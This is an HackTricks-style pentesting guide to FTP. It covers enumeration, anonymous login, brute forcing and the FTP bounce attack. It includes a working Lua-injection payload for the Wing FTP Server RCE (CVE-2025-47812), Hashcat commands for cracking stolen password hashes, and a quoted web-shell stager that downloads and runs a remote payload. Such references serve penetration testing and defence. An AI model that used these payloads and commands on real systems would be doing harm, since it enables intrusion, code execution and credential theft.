21 - Pentesting FTP
Basic information[7]
The File Transfer Protocol (FTP) is a standard protocol for transferring files between a client and server over a computer network.
Its control channel is plaintext and terminates lines with CRLF (0x0d 0x0a), so raw testing may require Telnet or nc -C.
Default Port: 21
PORT STATE SERVICE
21/tcp open ftp
Active and passive connections
In active FTP, the client initiates the control connection from its port N to the FTP server’s command port, TCP/21. The client then listens on a data port and advertises it to the server with PORT or EPRT. The server initiates the data connection to the client’s advertised port.
Active FTP can fail when a client-side firewall blocks inbound data connections. Passive FTP avoids this issue by having the client initiate both connections.
In passive FTP, the client initiates the control connection to TCP/21 and issues PASV or EPSV. The server returns a listening data port, and the client initiates the data connection to that server port.[6][7]
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/[6]
Connection debugging
The FTP client’s debug and trace commands can show how the communication occurs.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Connect to FTP using starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
With nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Use HELP and FEAT to obtain information about the FTP server:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonymous login
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Here you can find a nice list with default ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automated
Nmap performs anonymous-login and FTP-bounce checks with the -sC option, or you can invoke all FTP scripts explicitly:
nmap --script ftp-* -p 21 <ip>
FTP URL handling
An FTP URL has the following form, although current browsers no longer provide built-in FTP clients; Firefox removed FTP support in version 90. Use a dedicated client such as lftp or FileZilla instead.[8]
ftp://anonymous:anonymous@10.10.10.98
If a web application sends user-controlled data directly to an FTP server, double-encoded CRLF bytes (%250d%250a) may permit FTP command injection. Possible effects include downloading content from an attacker-controlled server, scanning ports, or interacting with another plaintext protocol such as HTTP.
Wing FTP Server (web client RCE + credential recovery)
If the HTTP interface returns a header like Server: Wing FTP Server(Free Edition) or the footer exposes v7.4.3 / < 7.4.4, test the web client, not only TCP/21. In some deployments anonymous with a blank password works in the web login too, which is important because CVE-2025-47812 is exploitable with any valid account, including anonymous when enabled.[3][4]
Bug class: the web login validates the username only up to \0, but the full submitted value is later written into the user Lua session file. Wing FTP stores session state as code such as:[3]
_SESSION['username']=[[<username>]]
_SESSION['ipaddress']=[[127.0.0.1]]
If the username starts with a valid account and then injects a value like anonymous\0]] ... --, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like /dir.html:[3]
anonymous\0]]
local h = io.popen("id")
print(h:read("*a"))
h:close()
--
- Prefix before
\0passes authentication (anonymous, real user, or admin). ]]closes_SESSION['username']=[[...]].io.popen()gives command execution as the Wing FTP service account (root/SYSTEM by default in many real installs).--comments the trailing]]appended by Wing FTP.
Wing FTP post-exploitation: file-based hashes
Wing FTP often stores users and admins in XML below the install Data/ directory, commonly:[2]
Data/_ADMINISTRATOR/admins.xml
Data/1/users/*.xml
Useful checks after landing on the host:
find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e '<Password>' -e 'EnableSHA256' -e 'EnablePasswordSalting' -e 'SaltingString'
If the config shows:
<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
passwords are stored as SHA256(password + salt). A quick formatter for Hashcat mode 1410 (sha256($pass.$salt)) is:[2][5]
grep -r "<Password>" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\1:\2:WingFTP#' > wingftp.hashes
hashcat -m 1410 --user wingftp.hashes <wordlist>
This is especially useful when application users map to local OS users and password reuse gives SSH or su access.[2]
Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
If your user/password has special characters, the following command can be used:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD often maps FTP root to
/opt/lampp/htdocs, so weak creds on service accounts likedaemonornobodylet you upload a PHP web shell directly into the served webroot.[1] - After uploading, trigger an architecture-aware download/exec stager via the shell, for example:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), which fetches a checksum-validated payload, saves it (e.g.,init_start), setschmod +x, and runs it. - If the current directory is not writable/executable, the stager falls back to
/tmp, so test web paths and filesystem permissions after upload.
Some FTP commands[7]
USER usernamePASS passwordHELPThe server indicates which commands are supportedPORT 127,0,0,1,0,80tells the FTP server to connect to 127.0.0.1 on port 80. The final two decimal fields encode the 16-bit port asp1*256 + p2.EPRT |1|127.0.0.1|80|tells the FTP server to establish a TCP connection to IPv4 address 127.0.0.1 on port 80. Address-family value2selects IPv6.LISTThis will send the list of files in current folderLIST -RList recursively (if allowed by the server)
APPE /path/something.txtThis will indicate the FTP to store the data received from a passive connection or from a PORT/EPRT connection to a file. If the filename exists, it will append the data.STOR /path/something.txtLikeAPPEbut it will overwrite the filesSTOU /path/something.txtstores the uploaded data under a unique server-generated filename.RETR /path/to/filerequires an established active or passive data connection, through which the server sends the requested file.REST 6tells the server that the nextRETRtransfer should resume at byte offset 6.TYPE iSet transfer to binaryPASVasks the server to listen for a passive data connection and return the address and port to the client.PUT /tmp/file.txtUpload indicated file to the FTP

FTPBounce attack
Some FTP servers allow the PORT command to specify an arbitrary destination for the server’s data connection. This behavior can be abused to scan a host’s ports through the FTP server.
Learn here how to abuse a FTP server to scan ports.
You could also abuse this behaviour to make a FTP server interact with other protocols. You could upload a file containing an HTTP request and make the vulnerable FTP server send it to an arbitrary HTTP server (maybe to add a new admin user?) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.
The theory is easy:
- Upload the request (inside a text file) to the vulnerable server. Remember that if you want to talk with another HTTP or FTP server you need to change lines with
0x0d 0x0a - Use
REST Xto avoid sending the characters you don’t want to send (maybe to upload the request inside the file you needed to put some image header at the beginning) - Use
PORTto connect to the arbitrary server and service. - Use
RETRto send the saved request to the server.
This will probably return an error such as Socket not writable because the connection may not remain open long enough for RETR to send the data. Possible workarounds include:
- If you are sending an HTTP request, put the same request one after another until ~0.5MB at least. Like this:
- Try to fill the request with “junk” data relative to the protocol (talking to FTP maybe just junk commands or repeating the
RETRinstruction to get the file) - Just fill the request with a lot of null characters or others (divided on lines or not)
Anyway, here you have an old example about how to abuse this to make a FTP server download a file from a different FTP server.
Filezilla Server Vulnerability
FileZilla usually binds to local an Administrative service for the FileZilla-Server (port 14147). If you can create a tunnel from your machine to access this port, you can connect to it using a blank password and create a new user for the FTP service.
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Directory for anonymous.chown_uploads=YES- Change ownership of anonymously uploaded fileschown_username=username- User who is given ownership of anonymously uploaded fileslocal_enable=YES- Enable local users to loginno_anon_password=YES- Do not ask anonymous for passwordwrite_enable=YES- Allow commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
References
- [1] Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
- [2] 0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation
- [3] RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)
- [4] NVD - CVE-2025-47812
- [5] Wing FTP help - User / Group settings
- [6] What is FTP bounce attack?
- [7] RFC 959 – File Transfer Protocol
- [8] Mozilla Security Blog – Stopping FTP support in Firefox 90